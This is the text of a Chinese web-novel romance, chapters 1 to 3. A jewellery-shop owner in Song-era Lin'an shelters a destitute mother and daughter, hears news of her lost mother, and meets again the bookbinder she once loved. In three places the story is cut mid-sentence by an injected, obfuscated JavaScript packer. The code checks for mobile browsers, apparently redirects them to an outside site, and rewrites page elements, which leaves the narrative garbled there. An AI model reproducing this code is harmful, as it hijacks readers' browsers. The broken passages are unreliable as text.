《怪她过分明亮》 1. 冬雪 绍兴七年开春,临安城落了一场甚为罕见的大雪。 傍晚的时候总算雪势暂歇。 市西坊,城中小有名气的簪钗店铺点春阁后院,有个红衣的姑娘立于院中。 洛明昭望着院中一层新雪,挽着袖子握起手边的笤帚,想要将院中的落雪清扫干净。 “洛姐姐,我来吧。” 洛明昭的动作被一道稚嫩的女童声打断,她抬眸看去,只见不远处偏房紧闭的房门开了一条缝。身着碧色夹袄的小姑娘从房门中窜了出来,小跑几步停在洛明昭面前,“洛姐姐,今日你也累了一天了,我来扫吧。” 小姑娘名孟陵,因家中潦倒,特跟母亲孟念娘从汴京不远万里来临安投靠亲眷。没想到时移世易,亲眷旧居早就没了故人踪迹。二人潦倒之际行至市西坊,迷茫无助之际遇到了点春阁落锁的洛明昭。 那天傍晚的天色沉得像是浸了一层浓雾。无处可归的母女二人与洛明昭四目相对。 洛明昭看了眼二人磨得发旧的衣衫,正欲开口说些什么,就听面前的妇人腹部传来了细微的响动,洛明昭怔了怔,眸中带笑开口道:“两位娘子,你们想吃御街的李家汤饼吗?” 傍晚下值后,临安御街人潮如织,往来熙攘。 城西的李家汤饼铺刚腾出了一桌位置,三人只觉得来得凑巧,相继落座。摊主兰娘是个利落的爽利人,见常客来,兰娘扬声笑道:“洛姐儿今个吃些什么?” “还是老样子,要三份热汤饼。” 三人方才一道闲聊几句,知晓二人一路南下必定也经历了不少磨难,洛明昭握着筷子将小二刚刚端上来热气腾腾的汤面推向孟念娘,爽朗开口:“我也是从汴京来的,方才听说两位是从汴京远道而来,倒也让我有些感慨。” “姑娘也是……”孟念娘接过洛明昭递来的筷子,却没急着吃饭,凝眉看向洛明昭道,“如此说来,我们也算是个老乡。” “可不是呢?”洛明昭从小二手中接过了汤面推向一路都在颔首低眉的小姑娘,俏声道,“小女娘,这汤饼是临安城最好吃的,在旁处可吃不到。” 那日晚饭知晓孟念娘寻亲无果,洛明昭二话没说就带两人回了点春阁,并将其安顿在点春阁后院,如今已经过去了足足五日。 一阵寒风骤起,疾风夹杂着雪粒冷得人骨头发紧,将洛明昭的思绪拉了回来。 洛明昭看着面前半人高的小姑娘,抬手拍了拍她的脑袋,语气温和许多:“小陵,孟娘子还要你照顾,你去看着你阿娘就好。” 孟陵敛眸站在原地看她,一时之间未曾动作。 洛明昭声音耐心许多,微微躬着身子抬手捏了捏小姑娘暖红的脸:“小陵,孟娘子前几日还在咳嗽,这些日子好生休养,等过些日子开春天气好些了,我们一起去踏青,好不好?” 面前的小姑娘嘴唇嗫嚅,看上去似乎想要说些什么,最终也只是点点头,握着洛明昭有些发凉的手喃喃开口:“谢谢你,洛姐姐。” “你洛姐姐晓得了。”洛明昭眨了眨眼笑了起来,抬手轻轻拍了拍孟陵的小臂,“好了,去吧。” “嗯。”孟陵点了点头,又一步三回头地回到了偏房里。 洛明昭注意到孟陵的小动作,向她摆了摆手笑了几声:“回去吧。” 将院内石道和廊道阶梯悉数扫过,洛明昭伸了个懒腰将笤帚归于原位。她环视一圈这点春阁后院,说实在的,这处后院地方算不得小。一条廊道连接南北,有柴房、卧房、厨房与杂物房各一间。 来临安两年有余,洛明昭一路摸爬滚打,点春阁生意好歹算是稳了下来。雇了两个临安本地的伙计,她自己直接住在点春阁后院,如此倒也能节省一部分花销。此前她自己住怎么说都是绰绰有余,可如今家中添了两个人,这样逼仄的地方就有些不够看了。 手腕和小臂有些隐隐发酸,她站在原地正欲活动筋骨,一阵突兀的叩门声倏尔传入耳中。 “小昭!” 后院那方小门被叩响,随之而来的呼唤声格外耳熟。清脆又响亮的少女声线,听来就中气十足,洛明昭瞬间就知晓了来人身份。 她的手帕交,云尔蓁。 洛明昭忙不迭上前几步拉开房门,就见一暖黄色身影出现在面前,云尔蓁拎了几个食盒,向身后的侍女点点头道:“宜春,你先回车上去暖和暖和,我跟明昭说会儿体己话,一会儿我们一同回家。” “晓得了,小姐。”侍女应下云尔蓁的话,转身退回马车。 云尔蓁这才边随洛明昭进了后院简居,边竹筒倒豆子般碎碎念开口道:“明昭,你托我帮你办的事情我办得差不多了。” “城郊有间院落出租,我且去看过了,与你要求的相差无几。只是那院子此前扯了些没头脑的官司,牙婆说这几日大概就能处理得大差不差了,我明日再去看看。” “蓁蓁,多亏有你担保,这次可真是麻烦你了。” 二人一前一后进了卧房,暖炉上的炭火烧得正旺,洛明昭去添炭,云尔蓁将食盒摆在桌上,又将身上的大氅褪去搭在床头衣珩上。 “你我客气什么。”云尔蓁快走几步凑上前,“回来路上我路过甜糕铺,给你带了些。” “谢谢蓁蓁。”洛明昭燃起烛火,屋室之中不过片刻就亮堂起来。 “还有些酒楼的余菜,带来跟你一同吃。” 听她此言,洛明昭再开口的话音里带了笑意:“这也要带给我?” “是备菜备多了,又不是别人吃剩下的。”云尔蓁皱了皱鼻子,轻哼道,“都是大菜,你要是不吃那我可自己吃独食了。” “吃!”洛明昭向云尔蓁凑了几步,蹭着她的小臂在桌前落座,“你都能吃,我有什么吃不了的。” 甫一落座,洛明昭环视一圈桌上的菜品,桌上多为吃食,丰盛异常,就是看上去少了些什么。稍加思忖,洛明昭朗声道:“蓁蓁,我去温些茶来。” “哦,好。” 二人有说有笑,一餐之间倒让冬日寒气褪去大半。 “对了,小昭儿。”用过饭后,云尔蓁把自己的夹袄穿好,她扣着盘云扣将视线投向洛明昭,“你明日可否帮我去北街的睦亲坊一趟?” 洛明昭起身,将手中的汤婆子递到云尔蓁手里,挑眉问道:“睦亲坊?去那儿做什么?” “去取校对好的陈氏私藉。”云尔蓁将自己的手捂进汤婆子里,脖子也缩进了围脖里,只漏出眼睛看着洛明昭,“明日我再去寻那牙婆问问城郊那宅子官司可了结了,先去定下好让孟家母女住得舒坦些,过个好年。” 云尔蓁掀开帘子,边走便说道,“临近年关,酒楼近来事忙,给云老准备的生辰贺礼是典籍孤本。我与结庐轩约好的截止日子就在明日晌午,我脱不开身,明日就劳烦你了,明昭。” 听了这话,洛明昭忽而觉得有趣。云尔蓁,临安一顶一富贵人家云氏的独女,京中首富云老太太的掌上明珠。个性却是个叛逆的,分明是父亲,却从未听她用这种称呼叫过他。动辄就是云老,听起来不像父女倒像师生。 想到云尔蓁明日也是帮她去询问租房事宜,取书一事洛明昭自当是义不容辞,她连忙开口:“此事就全权交给我,蓁蓁你就放心吧。” 将云尔蓁送到门口,洛明昭正欲再走几步,就见云尔蓁忽而转过身拉着洛明昭手腕开口道:“对了,明昭。前几天我在酒楼听人提及黄知县家新聘了一位外乡来的厨娘,听那言语形容,我倒觉得有几分像是洛姨。” 云尔蓁说到这里话音顿了顿,将洛明昭的手拉得更近了一点,毛绒绒的外裳染上房中暖意,一寸寸度向身侧洛明昭身上。二人环臂款款而行,在雪地里落下两行脚印。 “那日倒是凑巧,只道是黄知县在外与人攀谈,提及家中新请了一位临安菜的厨娘,厨艺卓绝,尤其是那道水芹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371498|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包菜。” 临安逃难,洛明昭与母亲在逃难途中走散已有四五年光景。 听了云尔蓁的话,洛明昭上前半步握住她的小臂,连忙开口追问道:“我阿娘的确厨艺了得,那道水芹包菜也是她擅长的……蓁蓁,然后呢?” “后来的事情有点出乎我的意料。”云尔蓁抬眸看向洛明昭,思绪仿佛也回到了那日午后,她温声继续道,“我那日听了黄知县这话,连忙问他那厨娘可是姓洛,县尊诧异后点头称是。” “听他此言,我只觉庆幸。县尊说洛厨娘是因厨艺闻名遐迩特意受邀来临安的,因而每户只能待一月。临安食客众多,洛厨娘未曾告知去向。只是待我再要追问时,县尊就因事忙离开了酒楼,到底也没能知道那位洛厨娘究竟是不是洛姨?” “找了这么久,总算有些消息。”洛明昭长舒一口气,神情虽还是有些恹恹不乐,总算是有些拨云见日的清明,“待过几日新上的那批鎏金簪入了库,我亲自去黄知县府上拜访。” “如此也好。”云尔蓁抬步走出门槛,视线在洛明昭身上滚了一圈。看她似是有些疲累,云尔蓁顿了顿步子,伸出手忙不迭拢上洛明昭的脸,掬了掬她的侧颊,宽慰道,“别泄气,小昭儿。洛姨一定也在找你呢,既然已经有了消息,那见到洛姨也不过是时间早晚的问题。” 被她这样稚童玩闹般捏着脸,洛明昭眉目之间并不恼,反而徐徐展露笑意,眉梢眼角一齐弯了起来:“谢谢你,蓁蓁。” 云尔蓁这才松开手向洛明昭摆摆手:“那我走了,小昭儿,改日再会。” “嗯。” 找了母亲多年,如今总算是真切地听到了她的消息。方才看来寂寥萧瑟的院子,如今再看来竟有几分春意。洛明昭将房间稍作收拾,叩响了侧房的门。 “念娘,你好些吗?” 孟陵小跑着开了房门,洛明昭向她笑了笑,转眸只见孟念娘拖着病体坐起了身子。 洛明昭将新取来的小篓炭放在一侧,臂弯里的披风也置于一侧案牍上,温声道:“念娘,你身体弱,今日新炭送来了,你燃上些。这件衣服,你出门的时候也穿着点。” “这如何使得?”孟念娘话音刚落,便又不住轻咳几声。 “念娘,你既不愿随我去看大夫,那就乖乖听我的话。”洛明昭走到床边,为孟念娘掖了掖被角,“这几日是点春阁太忙了,等明日之后就有时间了,念娘你定要跟我去看看大夫。” “我……”孟念娘轻蹙蛾眉,垂下眼睫,“可我什么都没为洛娘子做,不能总是白白受你恩惠……” “谁说你没做。”洛明昭从怀中掏出一封信件,递给孟念娘笑道,“念娘,节后店里要扩建,店里伙计只看顾一楼就很是吃力。若你愿意,不若留下来帮我可好?” 听她此言,孟念娘怔了怔,舒展白皙的指节翻开那张叠得整齐的黄纸。 “每日一百五十文,同我店中两个小二的薪酬相同,若你愿意,我们就把此事说定了。” 孟念娘的视线从那张黄纸上一行行扫过,上至薪酬下至衣用,洛明昭都为她考虑了很多。甚至在信末还有行小字,若是一方解约,契书随时取消。 “多谢你,洛娘子。” “不用客气,想来念娘应是比我年长些,既如此,念娘唤我明昭就好。” 待把孟念娘的事情安顿好,洛明昭这才得了空闲躺在床上。 说起来也有些不可思议,来临安城足足两年。她竟当真的没有去过御街北的睦亲坊,那边是学堂书院,文人墨客居多。既然已经要和孟念娘母女二人同住,她打算顺带打听下送孟陵去学堂的事情。 “结庐轩……结庐轩。” 洛明昭翻了个身,将这个书坊的名字从嘴边滚过一圈,不知怎的,总觉得有种莫名的亲近感。 屋内炭火正燃,暖意温热,窗外一方明月高悬,想来明日大抵是个大晴天。 2. 书坊 “昭姐儿!这个素玉簪子还有吗?”点春阁内,一碧衣锦袍的姑娘指着店中一方簪子开口道。 “那是当然,唐娘子喜欢素玉嘛,我专程给唐娘子留了一支。”俏丽女声自柜门后响起,洛明昭着一身蓝裙,捧着玉匣递给那妇人。只见她眸光流转,将那木匣掀开,笑意盈盈递给面前人道,“喏,唐娘子看看。” 簪钗是临安上等工匠所制,是洛明昭排了一月有余才候到三十支,是京中的新样式。 城中贵女唐明月挽袖接过洛明昭手中的玉簪。只见方才还是碧色的素玉在日光下竟有几分光彩流转的模样。看起来格外惹眼,唐明月不禁讶异:“这素玉竟还能如此温润夺目?” “是啊,只是工匠们废了些力气才打磨出的玻璃光,此法将寻常玉石多方研磨,让这室内的寻常簪饰在日光下也能变得熠熠生辉,引人注目。” “这玉簪可有称呼?”听她此言,唐明月有些移不开眼,对这簪子来了兴趣。 “此簪名为琉璃簪。如今阁内只有簪饰,算是讨个新鲜,若是京中喜欢这琉璃簪的女娘们多了。店中后续也会相继做上些琉璃钗,或是整套头面。”洛明昭开口的语气颇有耐心。 “昭姐儿,届时定要给我留上一份。”唐明月听了这话忙不迭开口补充道,“这琉璃簪是什么价钱?” “这素玉款样的五百文。”洛明昭迈出几步,将唐明月引着走向一旁,汲袖介绍,“这边的四季景花样的共五款。分别是桃杏荷菊梅五种花式,专为踏青开春季而制,只此一季,入夏后就不再有了。单支五百三十文一支,若唐娘子一齐购置,我就给您便宜些,只要这个数。” 她话音稍微顿了顿,向唐明月弯唇笑了起来,伸出三指俏声道,“两贯三百文即可。” 唐明月听了这话,本就有些动摇的心彻底下了决定,干脆心一横开口道:“那我要了,烦请昭姐儿一齐给我包起来。” “好。”洛明昭笑着唤了声伙计,“秦觅,给唐娘子取一整套四季景!” “晓得了,掌柜的。” “唐娘子在柜房处可以先拆匣验货,确认无误后直接结款就好。”洛明昭为唐明月指了指门口,“娘子随意试戴,伙计会给娘子包好。” “我就知道昭姐儿一向熨帖。”唐明月得了折扣,心头泛上喜色,“那我走了。” “唐娘子再来。” 未待夕阳西沉,洛明昭将今日没售出的簪饰清数一遍,又将展柜锁好。唤来店中伙计秦觅、秦锦提前关闭了店门。 说起来点春阁不过是个小店,就算洛明昭有事离开,依靠两个伙计想必也没什么问题。洛明昭之前就是这样想的,可事实却让她吃一堑长一智。 秦觅秦锦,两个不足弱冠却直来直往的少年人,做事的确干脆利索不偷懒,只是为人处世方面却让人不敢恭维。 犹记上次城北的张娘子想在生辰前为自己买支木质雕花小件,可这两人倒好,开口就是雕花小件还是银质或鎏金的才好看,既然生辰又何必如此吝啬?听完此言,张娘子面如菜色正欲发作。幸好外出办事的洛明昭适时归来,知晓事件原委,向张娘子仔细道歉并为其推荐了时兴的木质雕花,这件事才算过去。 自那以后,洛明昭再不让两人单独看店。 “掌柜的,你今天要干嘛去?”秦锦此人最是爱与人攀谈,一开口就是滔滔不绝,“今天下值这么早?” “是啊,掌柜的,你有什么需要我们兄弟二人帮忙的就尽管直说。”秦觅见缝插针补充道。 “这倒不是,就是去北街有些小事。你们早早归家休息,明日照常来就好。”洛明昭坦率开口,她也没跟二人客气,垂眸思索片刻扬眉笑道,“明天来的时候,帮我在面点铺带两份蟹黄灌浆。还有啊,来的时候麻利些,这灌浆凉了就不好吃了。” “晓得了,我俩做事掌柜你可放心吧!”秦锦拍了拍胸脯,语气听来颇为得意。 洛明昭将店门落锁,听了此话免不得轻笑一声:“我说……你这话听来着实不靠谱。” “掌柜的!”秦觅为人向来浮夸,只见他语气里染上些不可思议,“我俩对你的心那是天地为证日月可鉴啊,我两是你最忠实的伙计……你怎得平白无故说这种话来……” “哎!打住!”洛明昭与二人一同走出几步,笑着搓了搓胳膊开口道,“你就说有没有道理吧。还有这话有点太肉麻了,下次可千万说了,鸡皮疙瘩……” 三人行至岔路,洛明昭指了指御街方向开口道,“我走这边。” “那掌柜的,明日再会。” “明日再会。”洛明昭摆了摆手,向御街北睦亲坊走去。说来也奇,这城中尚且喧闹,每日沿街叫卖声混杂着来往客声,还有商队驼铃声,人世百态,莫过于此。 但越往城北走,这样嘈杂的动静就越小。行至睦亲坊时,整条街依旧是人来人往的,可往来之人却不约而同地压低声音,整个街道都有着一种安逸的宁静之气。 睦亲坊再往街巷内行几步,便有一股清淡的墨香味迎面而来。不知为何,在这样的氛围中洛明昭不由自主地想要放慢步子。 有风起,不远处的长青竹被刮得沙沙作响,几片绿叶被风卷起飘向空中。 再走几步,洛明昭总算是看到了那家名为结庐轩的书坊。店外陈设近乎简单单调,除了牌匾之外,只余一方木匾立招,上面字迹清瘦苍劲,独独只余两行售书与修书说明。 洛明昭提起裙摆,拾级而上,只见这结庐轩虽店门大敞,店内却空无一人。书目整理地置于柜案之间,看上去条理分明。 她迈过门槛,指尖轻叩店门,稍稍扬声道:“敢问有人在吗?” 话音刚落,就见内间的房门被人忙不迭拉开来,一少年人身着圆领白襕衫,发丝一丝不乱地束于发顶,配以玉簪。身形清瘦,襻膊缚袖,露出半截青筋分明的小臂,骨节分明的手中握着一支镊子。 见他眉眼清隽温润,四目相对之际,洛明昭只觉呼吸顿了几瞬,她嘴唇翕动,似乎是想要说出些什么,最终也只是怔愣地望着他的脸,僵在原地一言不发。 “姑娘?你是有什么想购置的书册吗?”男子向她走近几步,他声音清亮温和,却让洛明昭瞬间回过神来。 洛明昭神思恍惚,心跳这才缓缓平息。乍一回神,却见这男子不知何时竟靠得这样近,方才思量好的言辞在脱口而出时也变得有些凌乱:“对了,那个!斯年哥哥……不,越坊主,我来取云氏酒楼前些日子留着修复的陈氏私籍。” 正值弱冠年岁,越斯年鲜少被人用“哥哥”这种带着亲昵的称谓叫过,更别说这个叫他的人还是个正值芳龄的姑娘。思及此处,他眉宇之间有些许诧异闪过。 几乎是趋于本能将视线投向面前的姑娘,她着一身湛蓝衣裙,双眸明亮,眉目清秀,身姿清雅,竟是让人挪不开眼。 她方才将话囫囵说出口,看起来有些诧异紧张,眉头微蹙,又添了几分生气,看上去格外生动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371499|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识到自己打量的目光过于逾矩,越斯年连忙偏开视线,轻咳一声:“姑娘来得不巧,见云掌柜迟迟不来,那私籍我已然差伙计送去云氏酒楼了。” 话毕,却没听到那女子的回应。 越斯年带着疑惑将目光再投到那女子身上时,她却再没有任何慌乱神色,就好像刚刚那一切只是他的一场错觉。 洛明昭理了理思绪,将自己的心绪强行按捺。眉眼微微上扬,一双偏圆的杏眼弯了起来,笑意温和:“我晓得了。” 话音刚落,她轻盈又笃定地唤了一句:“斯年哥哥。” 不再是那样狼狈不堪的尴尬声线,也并没有沾染半分刻意撩人的轻佻逾矩。她的语气中只是平静与几分恳切,甚至带了几分微不可察的期待。那种殷切的目光,就像是等待多年挚友相认。 越斯年与面前的姑娘对上视线,他不明白面前姑娘这份笃定从何而来,他蹙了蹙眉,试图在脑海里找到关于她的线索。但越斯年并不记得自己有在哪里见过她,这样耀眼夺目的姑娘,若是与他有过渊源,他总不能一点印象都没有。 可的确没有,他不记得她。 离乱之年,想必这姑娘也只是个失去兄长的可怜人。思及此处,越斯年心口发闷,薄唇抿得紧紧的。 “姑娘,你许是认错人了。”越斯年温声开口,“我并不记得我与姑娘有什么交集。” 听了这样的话,洛明昭的视线里闪过一丝意外与无措。但那样的视线转瞬即逝,洛明昭笑了笑,朗声开口道:“斯年哥哥,我没有认错人。” “你不记得我又有什么干系呢?你我现在认识也是一样的。” 洛明昭微微后撤几步,手指理了理鬓发,随后轻垂于身侧。傍晚的夕阳徐徐西垂,在日暮光晕中,她向越斯年弯起唇角:“我自汴京而来,绍兴五年定居临安,如今在临安城中开了家名为点春阁的首饰铺,生意还不错。” “虽说店面不大,但好歹也能让我温饱无忧。”洛明昭絮絮叨叨地开口,“斯年哥哥,你呢,你是什么时候来临安的?” 越斯年被洛明昭这一通不明所以的话和雀跃至极的气势钉在原地。忙不迭被她问了这样一句话,他竟也开始应她之问:“去年秋末。” “这样啊,时间这样短我又从未来过御街北,怪不得你我从来没见过。”洛明点了点头,“既然那本书已经送去云氏酒楼,那我就不叨扰斯年哥哥了,我先走了。” 越斯年被她这幅自说自话的模样攻了个措手不及,但只片刻,他便回过神来,连忙开口:“姑娘!” “怎么了,斯年哥哥?”洛明昭停步看他。 “就是这句。”越斯年补充道,“这位姑娘,你我既然并非旧识,姑娘一而再再而三这样称呼在下,实在是于礼不合!” “这样啊?”洛明昭挑了挑眉。 “若是被旁人听到,若当是你我逾矩,恐损姑娘名节。”越斯年蜷起手指,“还请姑娘不要再这样叫我了。” “斯年哥哥不喜欢吗?” 听她继续这样称呼,越斯年耳廓发红,眸中满是震惊:“什么?” “可我想这样叫,我不会逾矩的。”洛明昭眨了眨眼,“斯年哥哥,我向你保证。” 话毕,她拎起裙摆小跳着越出门槛,跑出几步,像是想起什么,她又向他走了几步,俏声开口道:“对了,还有一件事!” 她向他靠近些,以手掩唇压低声音开口。 “斯年哥哥,我叫洛明昭。” 3. 钟情 眼见洛明昭靠近了些,她掩手附耳的动作让越斯年有些始料未及,还未来得及后撤,就只觉她温热的吐息洒在耳畔。 嗡— 一切思绪因她的气息戛然而止,所有试图让她保持距离的话卡在嘴边,耳廓红得发紫。喉间微微一动,越斯年不自觉吞了吞口水,匆匆撇过头去。 许是常年居于室内读书修书的缘故,越斯年着实称得上一句面若冠玉。而此时那张常年不动声色的脸却泛起淡淡绯红,尴尬无措的神情让人难以忽略。洛明昭将他的避开动作一并收入眼底,暗自有些恼意,虽说曾经与他却有过一段被他忘记的交集,但如今的她于他而言只是个陌生姑娘。自己再次见他太过雀跃,却忘了他是个本本分分的读书人,怕是很在意男女大防。 言语称谓不可让,至于其他的或许还需循序渐进才好。可不能初次重逢就让他恼了她去。 思及此处,洛明昭连忙后撤些,双手秉礼微微躬身:“斯年哥哥,方才是我太高兴了。太过莽撞冒犯了你,真是不好意思。既然书也送走了那我也该离开了,下次再会。” 越斯年见她如此,也不好拂她好意,将镊子按于掌心秉礼送她:“不会。” 她离开了。 目送她的背影从结庐坊离开,越斯年一时间竟愣在原地没能继续动作。 这姑娘太奇怪了。 就当是一个意外吧。越斯年轻轻摇了摇头,抬步走向内间,准备继续方才被打断的修缮工作。他的老师前不久送了一批损坏的失落孤本给他,他修过续本,这种事情也算不得困难,就将这差事担了下来。如今已临近收尾,出不得差错。 怎知方才走进内间,就听伙计阿江的声音响亮:“坊主!出大事了!坊主!” 越斯年只得把手中的镊子置于桌案上,叹了口气,这才卸下襻膊,推开座椅起身:“如此慌张,是出了什么事?” “夫人、夫人和老爷来了!”阿江气喘吁吁开口道,“如今似乎已经到了黄大人府中住下了,方才我来的路上见到来传信的夫人侍女,说是老爷让您这几天得了空就去……” 阿江一口气将方才的所见所闻悉数告知,却在关键之处又顿住了话头,他吞了吞口水,抬眸小心翼翼探越斯年的神情模样,见他面无异色,阿江这才继续道:“老爷说让您得了空就去知县府中见见他,他有些想您了。” 越斯年听了这话,方才淡然无波的眸子忽而黯淡几分,他点点头掩去眸中失落:“好,我晓得了。” “坊主,您没事吧?”阿江的语气带了些担忧。 “没事,没什么。”越斯年向他点了点头,“你去忙吧,至于这件事,我会去的。” 雾霭流云飘然,烧了半边天穹的夕阳渐褪,天际只余些许愈演愈烈的暗色。 洛明昭边走便不自觉地弯起唇角笑了起来,她是打心眼里觉得高兴。在这多事之秋,遑论是亲人还是挚友,与其失散后终生不能再见的也大有人在。而她竟然在短短几日内不仅收到了母亲的消息,甚至还亲眼见到了年少时心心念念的心上人,上天待她果然不薄。 书坊向前数十步,就看到永山学堂的牌匾,此处是由一位姓陈的夫子建成。已有十几年,那陈夫子也已经年过花甲,可观其容貌通身气派,依旧是精神抖擞不减当年。 洛明昭与那陈夫子稍微说了几句孟陵的事情,只作幼妹相称,想要在新学年入私塾读书明理。 “家中小娘子如今已然足岁,早些年读过论语,性子温顺谦恭,不知先生收是不收?”洛明昭语气之中带了些试探,虽说现今女童读书并非罕见,可私塾还是很少招收女学生。洛明昭已经想好了,若是被拒绝,她就寻个女师为孟陵授书,授人以鱼不如授人以渔,她年纪那样小,教育不可废。 夫子听说孟陵是个开蒙的姑娘,眉眼之间不乏欣赏。听出了洛明昭语气中的顾虑,老先生捋着胡子笑道:“听姑娘此言,这小女娘我是一定要为她寻一位良师的。” “这么说,先生是答应了?” “姑娘择日带家中幼妹行过拜师礼,就是我学堂的学生了。” “多谢先生。” 出了学堂,夜市也才开始,下值后人们相互簇拥着。街市喧闹竟也不输白日,洛明昭看时辰还早,干脆就往云氏酒楼的方向走去,想问问城郊新宅子的事情。 酒楼售卖吃食菜品又新鲜,下值后正是来客时,夜间歇班晚,大多时候是轮流。洛明昭来的时候,云尔蓁正在二楼招呼来客,她也不多言,柜房伙计见她来,自觉给她腾出座位:“洛掌柜今儿来得不巧了,酒楼今日客多,恐怕得等上好一会儿了。” “无妨,你忙你的事情,我自己坐一会儿就成。” “好,那热茶糕点在柜侧都有,洛掌柜自己……”伙计话还没说完,就听用完饭的食客凑上前来唤她结账。 “去忙吧,我晓得了。”洛明昭朝她笑了笑。 伙计这才转过身校对食客的账单,指尖翻飞,算盘敲得咔咔作响,口中念念有词:“客官这边结账,鸡肉豆腐一百文、香菇青菜三十文、水晶脍七十文、米饭第一份免费,后续五碗共五文,收您二百零五文钱。” 话毕伙计又从一旁摸了个小东西递给那食客,很特别的木质小玩意儿,但做工精细看上去倒也算得上精巧可爱。 “这是我们酒楼的吉祥物,花销满二百文就给您送一个,欢迎您下次再来。” 洛明昭看她利落动作和伶俐口舌,免不得心间涌上几分艳羡,怎得蓁蓁家的伙计就这样招人喜欢。等有机会她一定要取取经,不说其他,就只是这个伶俐劲儿,都够秦觅秦锦好好学学了。只是吉祥物这样的称呼,洛明昭没在别处听过,稍一揣摩就品出这三个字真是字如其意,她也觉得有点意思。 等到得了闲,云尔蓁取了三份香饮子往一楼柜房来,递了伙计一份就让她下值了。 酒楼稀稀落落再没几个人,云尔蓁转头大大咧咧往洛明昭身侧落座,倚靠在洛明昭小臂将那份香饮子递给她,声音微哑却还是带了些雀跃:“这是荔枝口的,又甜又鲜,小昭儿你尝尝。” 洛明昭咂摸出几分味道,眉目都亮了些:“果然。” “对了,蓁蓁。”洛明昭轻轻撞了撞她的胳膊,“我今天去结庐轩帮你取书的时候,书坊坊主说差伙计给你送来了。” “嗯。”云尔蓁点了点头,“下午那会儿送来的,崭新到根本看不出来损坏过,看来这个结庐坊还真有些本事。” “是吗?”洛明昭又垂下眸子,像是有些纠结该怎么说比较好,最终还是长舒一口气近乎一字一句道,“蓁蓁,你知道我在结庐轩遇见谁了吗?” 洛明昭鲜少有这种欲言又止的时候,云尔蓁一个翻身坐起身来,眯了眯眼打量着她的神态,话中带笑:“谁啊?” “斯年哥哥。”洛明昭喃喃开口,她指尖摩挲着香饮子的砂瓶,“不过我好像搞砸了,我把他……” 听她卡在这里,云尔蓁眼珠子都要掉出来。她用了些时间想这个斯年哥哥是什么来头,等到她想明白后忙不迭又凑近几分,恍然大悟道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371500|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你说那个!当年救过你的人是吗?” “你把他怎么了?”云尔蓁这句话带了些跃跃欲试的兴奋,眉梢眼角的疲惫神色甚至都褪去几分,然而没等洛明昭回答,云尔蓁就自顾自开口道,“小昭儿,你真是太有种了。” 看她这幅模样,洛明昭就知道云尔蓁想偏了,她皱了皱鼻子,含羞带怯咬咬牙斥道:“不是,你想到哪里去了!” “是他没想起来我,但我一直在叫他斯年哥哥。”洛明昭抿了抿唇,回忆着今日与他见面的场景。 “然后呢?”云尔蓁也不再喝手上的香饮子了,连出口时的声音都放轻了。 “然后我太……”洛明昭抬手捏了捏耳垂,几乎是连悔带恼地叹了口气,这才继续开口,“我太着急了,就把自己的事情一箩筐告诉他了。结果把他说得耳朵都红了,想必是被我冒犯到了,有些生气。” 听了这些,云尔蓁强行按捺即将翘起来的嘴角。想必书生也从没见过这种阵仗,故而害羞到面颊发红吧。这傻姑娘,把那书生恐怕是弄得羞得不得了了,还只当是人家生气了。思及此处,她轻咳一声,却还是没止住话中的笑意:“然后呢?” “然后我就跟他说了名字,再说了不好意思,他耳尖都发紫了。” “他说什么了?”云尔蓁笑意泄出唇齿。 “他说不会。”洛明昭老老实实回答她的话,却在听到她的笑声时住了口,抬眸不可思议道,“你笑什么?” 没等云尔蓁回答,洛明昭就品出了个中滋味,云尔蓁这副表情,分明是把斯年哥哥和她拉成一对,逗她玩儿呢! 洛明昭又羞又恼,她抬手捏了捏云尔蓁耳朵,:“你这是耍我呢?!” “哎!疼疼疼……好昭昭,你可饶了我吧。”云尔蓁摸着耳朵,凑上前蹭了蹭她的胳膊开口,“我也没耍你的意思,就是看到一向小大人似的姑娘露出这幅女儿情态,还是让人心情大好啊。” 洛明昭脸上晕出薄红。 “你喜欢他吧,小昭儿。”云尔蓁也不再玩笑,开口的语气温和至极。 洛明昭垂下眼睫,思忖良久后点了点头:“嗯。” “那他不记得你了,你会难受吗?”云尔蓁眨了眨眼,话音轻飘飘的。 “会也不会吧。”洛明昭的话音里带了几分豁朗,“当年的我与如今的我大不相同,斯年哥哥记不住我也是情有可原。我会让他再次记住我的。” “好昭昭。”云尔蓁伸出手拍了拍洛明昭的后背,语气带了几分不合时宜的慈爱,“那你接下来打算怎么办?” “我既然钟情于他,自然要让他也属意于我。”洛明昭的眼睛闪着光似的亮晶晶,眼神坚定恳切。 “好!”云尔蓁几乎要为洛明昭拍手叫好了,她清了清嗓子,笑道,“那你就去追他吧,好昭昭,任何人喜欢你都是时间问题罢了。” 